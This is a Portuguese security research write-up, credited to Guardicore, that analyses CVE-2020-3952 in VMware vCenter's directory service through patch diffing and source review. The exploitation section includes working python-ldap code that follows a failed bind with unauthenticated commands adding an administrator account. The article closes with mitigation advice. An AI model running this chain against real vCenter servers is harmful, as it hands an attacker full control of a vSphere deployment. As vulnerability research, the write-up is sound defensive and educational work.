Na última quinta-feira, a VMware publicou um aviso de segurança para o CVE-2020-3952, descrevendo uma “vulnerabilidade de divulgação de informações confidenciais no VMware Directory Service (vmdir)”. É um aviso bastante terse, e não entra em muito mais detalhes do que isso, além de afirmar que qualquer vCenter Server v6.7 que tenha sido atualizado de uma versão anterior é vulnerável.
O que é impressionante sobre este aviso é que a vulnerabilidade tem uma pontuação CVSS de 10,0 — tão alto quanto essa pontuação pode ir. Apesar da quantidade de imprensa que a assessoria recebeu, porém, não conseguimos encontrar nada escrito sobre os detalhes técnicos da vulnerabilidade. Queríamos entender melhor seus riscos e ver como um invasor poderia explorá-los, então começamos a investigar as mudanças no patch recomendado da VMware — vCenter Appliance 6.7 Update 3f.
Ao vasculhar as alterações feitas no serviço de diretório vCenter, reconstruímos o fluxo de código defeituoso que levou a essa vulnerabilidade. Nossa análise mostrou que, com três comandos LDAP não autenticados simples, um invasor com nada mais do que acesso à rede ao serviço de diretório sérmico vCenter pode adicionar uma conta de administrador ao diretório do vCenter. Fomos capazes de implementar uma prova de conceito para esta exploração que decreta uma aquisição remota de toda a implantação do vSphere.
TL;DR
A vulnerabilidade é habilitada por dois problemas críticos no código de tratamento LDAP legado do VMDIR:
- Um bug em uma função chamada VmDirLegacyAccessCheck que faz com que ele retorne o “acesso concedido” quando as permissões falham.
- Uma falha de projeto de segurança que concede privilégios raiz a uma sessão LDAP sem token, sob a suposição de que é uma operação interna.
Olhando para o patch
Como a VMware lança suas novas versões como imagens de disco inteiras em vez de patches incrementais, tivemos que diferenciar entre a versão anterior — Update 3e — e a nova. A montagem das imagens de disco revelou que essas versões são compostas por uma longa lista de RPMs, na maioria das vezes. Uma vez que tínhamos extraído o conteúdo de todos esses pacotes, pudemos ver quais arquivos tinham realmente mudado, comparando hashes lado a lado.
Infelizmente, descobriu-se que quase 1500 arquivos tinham mudado desde a última versão – muito mais do que poderíamos verificar manualmente. nós adivinhamos que nosso culpado provavelmente teria “vmdir” em algum lugar em seu nome. Com certeza, isso reduziu os resultados para uma lista muito mais gerenciável:
usr/lib/vmware-vmdir/lib64/libcsrp.a
usr/lib/vmware-vmdir/lib64/libcsrp.la
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.a
usr/lib/vmware-vmdir/lib64/libgssapi_ntlm.la
usr/lib/vmware-vmdir/lib64/libgssapi_srp.a
usr/lib/vmware-vmdir/lib64/libgssapi_srp.la
usr/lib/vmware-vmdir/lib64/libgssapi_unix.a
usr/lib/vmware-vmdir/lib64/libgssapi_unix.la
usr/lib/vmware-vmdir/lib64/libkrb5crypto.a
usr/lib/vmware-vmdir/lib64/libkrb5crypto.la
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.a
usr/lib/vmware-vmdir/lib64/libsaslvmdirdb.la
usr/lib/vmware-vmdir/lib64/libvmdirauth.a
usr/lib/vmware-vmdir/lib64/libvmdirauth.la
usr/lib/vmware-vmdir/lib64/libvmdirclient.a
usr/lib/vmware-vmdir/lib64/libvmdirclient.la
usr/lib/vmware-vmdir/lib64/libvmkdcserv.a
usr/lib/vmware-vmdir/lib64/libvmkdcserv.la
usr/lib/vmware-vmdir/sbin/vmdird
Assim, uma lista de bibliotecas estáticamente ligadas que são (presumivelmente) incorporadas em um único binário compilado: vmdird. Em outras palavras, o servidor vmdir mudou desde a Atualização 3e. Parece promissor!
Antes de fazer um diferencial binário adequado, pensamos em ver se houve alguma mudança óbvia nos símbolos exportados em vmdird. Os resultados desta comparação foram impressionantes:
jj@ubuntu:~/misc/vms$ diff <(objdump -T patched_extracted/usr/lib/vmware-vmdir/sbin/vmdird |
cut -f 2- -d " " | sort | uniq) <(objdump -T unpatched_extracted/usr/lib/vmware-vmdir/sbin/vmdird | cut -f 2- -d " " | sort | uniq) 1370a1371 > g DF .text 00000000000000ce Base VmDirLegacyAccessCheck
1440d1440
< g DF .text 00000000000000ef Base VmDirLegacyAccessCheck 2194a2195 > g DF .text 000000000000038d Base VmDirSrvAccessCheck
2199d2199
< g DF .text 0000000000000393 Base VmDirSrvAccessCheck
Nada como uma função chamada VmDirLegacyAccessCheck para pesquisa de vulnerabilidades! Este parece ser um bom lugar para começar, já que o VMware escreve que “implantações afetadas criarão uma entrada de log quando o serviço vmdir começar a indicar que o modo ACL legado está ativado”.
Nós estabelecemos a desmontagem dessas funções no IDA. Aqui está a versão não corrigida. Destacamos qualquer coisa que possa alterar o valor de retorno da função.
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3,
unsigned int a4)
{
unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
__int64 v6; // [rsp+18h] [rbp-28h]@1
unsigned int v7; // [rsp+3Ch] [rbp-4h]@1
v6 = a3;
v5 = a4;
v7 = 0; // VMDIR_SUCCESS
if ( !(unsigned __int8)sub_4EF7B1(a1, a2, a4)
&& v5 == 2
&& ((unsigned __int8)sub_4EF510(v6) || (unsigned __int8)sub_4EF218(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
{
v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM
VmDirLog1(4);
}
return v7;
}
E este é o corrigido:
__int64 __fastcall VmDirLegacyAccessCheck(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
unsigned int v5; // [rsp+14h] [rbp-2Ch]@1
__int64 v6; // [rsp+18h] [rbp-28h]@1
unsigned int v7; // [rsp+3Ch] [rbp-4h]@1
v6 = a3;
v5 = a4;
v7 = 9207; // VMDIR_ERROR_INSUFFICIENT_ACCESS
if ( a4 == 2
&& ((unsigned __int8)sub_4EF5B1(a3) || (unsigned __int8)sub_4EF2B9(v6) || (unsigned __int8)VmDirIsSchemaEntry(v6)) )
{
v7 = 9114; // VMDIR_ERROR_UNWILLING_TO_PERFORM
VmDirLog1(4);
}
else if ( (unsigned __int8)sub_4EF852(a1, a2, v5) )
{
v7 = 0; // VMDIR_SUCCESS
}
else if ( v5 == 16 && (unsigned __int8)sub_4EF220(v6) )
{
v7 = 0; // VMDIR_SUCCESS
}
return v7;
}
Na versão corrigida, o VmDirLegacyAccessCheck retorna 9207(VMDIR_ERROR_INSUFFICIENT_ACCESS)se nenhuma das condições for atendida. Procurar esse valor de retorno, que não existia na versão anterior da função, nos levou a um projeto do Github sob o nome Lightwave. Como se vê, o código vmdir foi disponibilizado pela VMware em seu repositório Github.
Para o código fonte vamos
Ficamos felizes em descobrir o código-fonte VmDirLegacyAccessCheck no repositório da VMWare. Não só isso, o código em mãos se encaixa na versão recém-corrigida da função. Olhar quando essa correção foi introduzida nos levou a um compromisso datado de agosto de 2017 (!) com a seguinte mensagem:
Há um bug na implementação do esquema legado que este endereço diff.
Teste:
1. criar um usuário normal, digamos testuser1, na configuração binária DB + LW 1.2 antiga.
2. antes da correção, testuser1 tem mais permissão do que o desejado.
3. Após a correção, testuser1 só pode ler/gravar para sua própria entrada e nada mais.
Assim, pelo menos um desenvolvedor da VMware estava ciente de que há algo errado aqui — antes da correção, um acesso ao modo legado “tem mais permissão do que o desejado”.
Antes da correção, o valor de retorno do VmDirLegacyAccessCheck mantinha um valor de sucesso por padrão. Falhando na verificação das permissões por _VmDirAllowOperationBasedOnGroupMembership deixou o valor de devolução inalterado em 0 (VMDIR_SUCCESS), eventualmente concedendo acesso à operação.
Agora temos uma função que parece vulnerável. Vamos descobrir quando é chamado, e como podemos tirar vantagem disso.
Obtenção de um vCenter vulnerável
Só tínhamos um vCenter Server 6.7 de uma instalação limpa e não um atualizado de uma linha de versão anterior (6.5 ou 6.0). De acordo com o VMware, em sistemas vulneráveis, você pode encontrar uma determinada linha de log em /var/log/vmware/vmdird/vmdird-syslog.log (ou %ALLUSERSPROFILE%\VMWare\vCenterServer\logs\vmdird\vmdir.log no Windows):
2020-04-06T17:50:41.860526+00:00 info vmdird t@139910871058176: ACL MODE: Legacy
Como nosso vCenter Server não estava vulnerável – o arquivo de log estava faltando essa linha. Procurar o código que imprime esta linha de log nos levou a uma função chamada _VmDirIsLegacyACLMode:
static
BOOLEAN
_VmDirIsLegacyACLMode(
VOID
)
{
...
dwError = VmDirBackendUniqKeyGetValue(
VMDIR_KEY_BE_GENERIC_ACL_MODE, // "acl-mode"
&pValue);
...
// We should have value "enabled" found for ACL enabled case.
bIsLegacy = VmDirStringCompareA(pValue, VMDIR_ACL_MODE_ENABLED, FALSE) != 0;
…
if (bIsLegacy)
{
VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL, "ACL MODE: Legacy");
}
...
}
O código implica que há uma loja de valor-chave em algum lugar que deve ter a string “acl-mode” e “enabled” (para o modo não-legado) ou “desativado” (para o modo legado). Com certeza, “acl-modeenabled” apareceu várias vezes em nosso arquivo de banco de dados vmdir (corrigido), /storage/db/vmware-vmdir/data.mdb. Alterar a parte “habilitada” desta string para qualquer outra coisa (“desativado” mudaria o tamanho da seqüência, então não fomos com isso) e reiniciar o vmdir fez com que a linha de log desejada aparecesse em vmdird-syslog.log.
Isso explica por que apenas as máquinas vCenter Server 6.7 atualizadas são vulneráveis a esse ataque e não instalações limpas desta versão. O binário vmdird ainda é vulnerável em máquinas 6.7 atualizadas. O que mudou foi a configuração do modo ACL. Instalações limpas padrão para o modo não legado (o modo acl está ativado), mas as atualizações preservam a configuração anterior, onde o modo legado é ativado por padrão.
Agora temos uma máquina vulnerável. Mas a que é vulnerável?
Exploração
Neste ponto, precisamos descobrir como ativar o fluxo de código que acaba na função vulnerável VmDirLegacyAccessCheck.
Como podemos ver no gráfico de chamadas, adicionar, modificar e solicitar pesquisa pode passar por VmDirLegacyAccessCheck.
Primeiras tentativas
Instalamos ldap-utils e tentamos adicionar um usuário à máquina vCenter usando credenciais incorretas:
root@computer:~# ldapadd -x -w 1234 -f hacker.ldif -h 192.168.1.130
-D"cn=Administrator,cn=Users,dc=vsphere,dc=local"
ldap_bind: Invalid credentials (49)
Isso não foi muito longe. Vamos ver o que o registro vmdird tem a dizer:
2020-04-15T14:20:56.079504+00:00 info vmdird t@140564750137088: Bind failed ()
(9234)
2020-04-15T14:20:56.080409+00:00 err vmdird t@140564750137088:
VmDirSendLdapResult: Request (Bind), Error (49), Message (), (0) socket
(192.168.0.254)
2020-04-15T14:20:56.080832+00:00 err vmdird t@140564750137088: Bind Request
Failed (192.168.0.254) error 49: Protocol version: 3, Bind DN:
"cn=Administrator,cn=Users,dc=vsphere,dc=local", Method: Simple
Parece que nunca chegamos à parte do “add” deste pedido. O ldapadd primeiro precisa vincular ao servidor antes que ele possa executar quaisquer comandos contra ele, mas a vinculação falha com o erro 9234 — VMDIR_ERROR_USER_INVALID_CREDENTIAL. Existe uma maneira de pular o estágio de ligação?
Instalamos python-ldap e tentamos fazê-lo nós mesmos:
dn = 'cn=Hacker,cn=Users,dc=vsphere,dc=local'
modlist = {
'userPrincipalName': ['hacker@VSPHERE.LOCAL'],
'sAMAccountName': ['hacker'],
'givenName': ['hacker'],
'sn': ['vsphere.local'],
'cn': ['Hacker'],
'uid': ['hacker'],
'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
'userPassword': 'TheHacker1!'
}
c = ldap.initialize('ldap://192.168.1.130')
c.add_s(dn, ldap.modlist.addModlist(modlist))
Traceback (most recent call last):
File "do_ldap.py", line 27, in
print c.add_s(dn, ldap.modlist.addModlist(modlist))
...
ldap.INSUFFICIENT_ACCESS: {'info': u'Not bind/authenticate yet', 'desc': u'Insufficient access'}
Outro não-ir. Aqui está o registro correspondente do servidor VCenter:
2020-04-15T14:32:21.526506+00:00 err vmdird t@140565521872640:
VmDirSendLdapResult: Request (Add), Error (50), Message (Not bind/authenticate yet), (0) socket (192.168.0.254)
Tempo de encadernar/autenticar
Procurar a mensagem de erro “Not bind/authenticate yet” dentro do código nos leva à função VmDirMLAdd.
int
VmDirMLAdd(
PVDIR_OPERATION pOperation
)
{
...
// AnonymousBind Or in case of a failed bind, do not grant add access
if (pOperation->conn->bIsAnonymousBind || VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
{
dwError = LDAP_INSUFFICIENT_ACCESS;
BAIL_ON_VMDIR_ERROR_WITH_MSG(
dwError, pszLocalErrMsg,
"Not bind/authenticate yet");
}
...
dwError = VmDirInternalAddEntry(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
}
Como o código mostra, duas condições devem ser retentadas para que o cliente possa adicionar uma entrada:
- A sessão LDAP não deve ser anônima, ou seja, tem que especificar um domínio;
- A sessão não deveria ter “informações de acesso falhadas”.
Vamos começar com a primeira condição. Para isso, precisamos que o bIsAnonymousBind seja FALSO. O único código que define essa variável como FALSE está em VmDirMLBind:
int
VmDirMLBind(
PVDIR_OPERATION pOperation
)
{
...
pOperation->conn->bIsAnonymousBind = TRUE; // default to anonymous bind
switch (pOperation->request.bindReq.method)
{
case LDAP_AUTH_SIMPLE:
...
pOperation->conn->bIsAnonymousBind = FALSE;
dwError = VmDirInternalBindEntry(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
break;
case LDAP_AUTH_SASL:
pOperation->conn->bIsAnonymousBind = FALSE;
dwError = _VmDirSASLBind(pOperation);
BAIL_ON_VMDIR_ERROR(dwError);
...
break;
...
}
...
}
Notice that bIsAnonymousBind is assigned FALSE whether or not VmDirInternalBindEntry succeeds. In other words, even if we fail our bind authentication, we’ll pass the first part of the condition.
Now for the second part of that condition. What does VmDirIsFailedAccessInfo do? Surprisingly, not much:
/* Check whether it is a valid accessInfo
* (i.e.: resulted by doing a successful bind in an operation) */
BOOLEAN
VmDirIsFailedAccessInfo(
PVDIR_ACCESS_INFO pAccessInfo
)
{
BOOLEAN bIsFaliedAccessPermission = TRUE;
if ( ! pAccessInfo->pAccessToken )
{ // internal operation has NULL pAccessToken, yet we granted root privilege
bIsFaliedAccessPermission = FALSE;
}
else
{ // coming from LDAP protocol, we should have BIND information
if ( ! IsNullOrEmptyString(pAccessInfo->pszBindedObjectSid)
&&
! IsNullOrEmptyString(pAccessInfo->pszNormBindedDn)
&&
! IsNullOrEmptyString(pAccessInfo->pszBindedDn)
)
{
bIsFaliedAccessPermission = FALSE;
}
}
return bIsFaliedAccessPermission;
}
Para alcançar o fluxo de adição do usuário, precisamos fazê-lo retornar FALSO de alguma forma. Vamos dar uma olhada na primeira saída — verificando se há um token de acesso NULL.
Parece estranho que uma função que verifica se conceder acesso permitiria especificamente que um usuário sem um token de acesso. Pelo breve comentário abaixo da verificação, parece que este caso foi destinado a “operações internas”. Presumivelmente, um LDAP lançado internamente pelo vmdird deixaria o pAccessToken vazio para marcar que ele deveria ser permitido, e qualquer outro acesso falharia no estágio de vinculação anteriormente. Esta é uma maneira estranha de fazer isso; seria muito mais claro fazer um campo pAccessInfo->bIsInternalOperation designado para este fim.
Quando a vinculação falha, pAccessInfo->pAccessToken fica vazio. Aqui está VmDirInternalBindEntry, que é chamado por VmDirMLBind do loop de mensagem do vmdird.
* Return: VmDir level error code. Also, pOperation->ldapResult content is set.
*/
int
VmDirInternalBindEntry(
PVDIR_OPERATION pOperation
)
{
DWORD retVal = LDAP_SUCCESS;
...
// Normalize DN
retVal = VmDirNormalizeDN( &(pOperation->reqDn), pOperation->pSchemaCtx );
BAIL_ON_VMDIR_ERROR_WITH_MSG( retVal, pszLocalErrMsg, "DN normalization failed - (%u)(%s)", retVal, VDIR_SAFE_STRING(VmDirSchemaCtxGetErrorMsg(pOperation->pSchemaCtx)) );
...
cleanup:
VMDIR_SAFE_FREE_MEMORY( pszLocalErrMsg );
VmDirFreeEntryContent ( &entry );
return retVal;
error:
...
if (retVal)
{
VmDirFreeAccessInfo(&pOperation->conn->AccessInfo);
VMDIR_LOG_INFO(VMDIR_LOG_MASK_ALL,
"Bind failed (%s) (%u)",
VDIR_SAFE_STRING(pszLocalErrMsg), retVal);
retVal = LDAP_INVALID_CREDENTIALS;
...
}
VMDIR_SET_LDAP_RESULT_ERROR(&(pOperation->ldapResult), retVal, pszLocalErrMsg);
goto cleanup;
}
Nossas credenciais incorretas falham até o VmDirNormalizeDN. Isso nos leva ao fluxo de erros, que limpa pOperation->conn->AccessInfo->pAccessToken.
Vamos voltar à nossa dupla condição:
if (pOperation->conn->bIsAnonymousBind ||
VmDirIsFailedAccessInfo(&pOperation->conn->AccessInfo))
Ambas as partes da condição agora se mantêm.
Então, não podemos simplesmente pular a ligação e esperar que as coisas funcionem, mas parece que mesmo uma tentativa de ligação fracassada nos levará através desta verificação.
A parte em que tudo se junta
Mas de onde tudo isso nos faz? Finalmente estamos chegando ao nosso buggy VmDirLegacyAccessCheck. Antes de executar a operação de adição, o VmDirInternalAddEntry chama o VmDirSrvAccessCheck que, por sua vez, chama vmDirLegacyAccessCheck.
Em teoria, deveríamos ter falhado em alcançar esse fluxo há muito tempo; VmDirLegacyAccessCheck é a última linha de defesa. Seu trabalho é verificar se esse tipo de acesso em particular – adicionando ou modificando uma entrada LDAP – deve ser permitido por este usuário em particular. A verificação de autenticação não deveria ter nos permitido chegar aqui em primeiro lugar, mas você ainda esperaria que este cheque nos impedisse de seguir em frente.
Lembra-se disso?
Há um bug na implementação do esquema legado que este endereço diff.
Teste:
1. criar um usuário normal, digamos testuser1, na configuração binária DB + LW 1.2 antiga.
2. antes da correção, testuser1 tem mais permissão do que o desejado.
3. Após a correção, testuser1 só pode ler/gravar para sua própria entrada e nada mais.
Parece o último elo que precisamos em nossa cadeia. Se o VmDirLegacyAccessCheck sempre nos permitir passar, a verificação de acesso deve ser bem sucedida e nosso usuário deve ser adicionado.
O que acontece, então, se ignorarmos o resultado da ligação?
c = ldap.initialize('ldap://192.168.1.130')
try:
c.simple_bind_s(dn, 'fakepassword')
except:
pass
c.add_s(dn, ldap.modlist.addModlist(modlist))
Hein. Nenhuma saída para isso em /var/log/vmware/vmdird/vmdird-syslog.log. Podemos ver esse usuário com uma solicitação de pesquisa?
root@computer:~# ldapsearch -b "cn=Hacker,cn=Users,dc=vsphere,dc=local" -s sub -D "cn=Administrator,cn=Users,dc=vsphere,dc=local" -h 192.168.1.130 -x -w
# extended LDIF
#
# LDAPv3
# base <cn=Hacker,cn=Users,dc=vsphere,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# Hacker, Users, vsphere.local
dn: cn=Hacker,cn=Users,dc=vsphere,dc=local
nTSecurityDescriptor:: ...
krbPrincipalKey:: ...
sn: vsphere.local
userPrincipalName: hacker@VSPHERE.LOCAL
cn: Hacker
givenName: hacker
uid: hacker
sAMAccountName: hacker
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Sem brincadeiras. O que acontece se tentarmos nos conectar ao vSphere com este novo usuário?
Onde é que se consegue “permissões em qualquer sistema vCenter Server conectado a esse cliente”? Vamos adicionar nosso usuário Hacker ao grupo Administrador com a mesma conexão não autenticada:
groupModList = [(ldap.MOD_ADD, 'member', [dn])]
c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)
Vamos tentar o login novamente:
Estamos dentro!
Implementação
Nós montamos um roteiro de exploração que executa todas essas etapas para que você possa experimentá-lo você mesmo. Confira nosso repositório github aqui.
Mitigação – patch e segmento
A medida mais eficaz para mitigar o risco acima demonstrado é instalar o patch mais recente para a versão vulnerável do vCenter Server. Alternativamente, a instalação da versão mais recente (7.0) também resultará em uma implantação segura do vSphere.
Recomendamos limitar o acesso à interface LDAP do vCenter. Na prática, isso significa bloquear qualquer acesso sobre a porta LDAP (389), exceto para uso administrativo.
Se você tiver alguma dúvida sobre como segmentar sua rede para evitar esse ataque e outros, não hesite em entrar em contato conosco.
Alguns pensamentos
Isto foi um buraco de coelho. Apesar da relativa clareza do código da VMware, parece que houve alguns erros que entraram na vulnerabilidade. Os desenvolvedores estavam pelo menos parcialmente cientes deles, também, como vimos nos comentários de código e cometemos mensagens. A correção para o VmDirLegacyAccessCheck não é mais do que o band-aid — se o VMware tivesse olhado para este bug em profundidade, eles teriam encontrado uma série de problemas que precisam ser resolvidos: a estranha semântica do bIsAnonymousBind, o tratamento desastroso do pAccessToken, e, claro, o bug que começamos, no VmDirLegacyAccessCheck.
Talvez a coisa mais angustiante, no entanto, é o fato de que o bugfix para VmDirLegacyAccessCheck foi escrito há quase três anos, e só está sendo lançado agora. Três anos é muito tempo para algo tão crítico quanto uma escalada de privilégios do LDAP para não entrar no cronograma de lançamento – especialmente quando se trata de uma escalada de privilégios.
Esperamos que tenha sido uma leitura agradável. Acreditamos que ainda há algumas pistas de pesquisa abertas aqui — confira o Projeto Lightwave. Boa caçada!
FONTE: GUARDICORE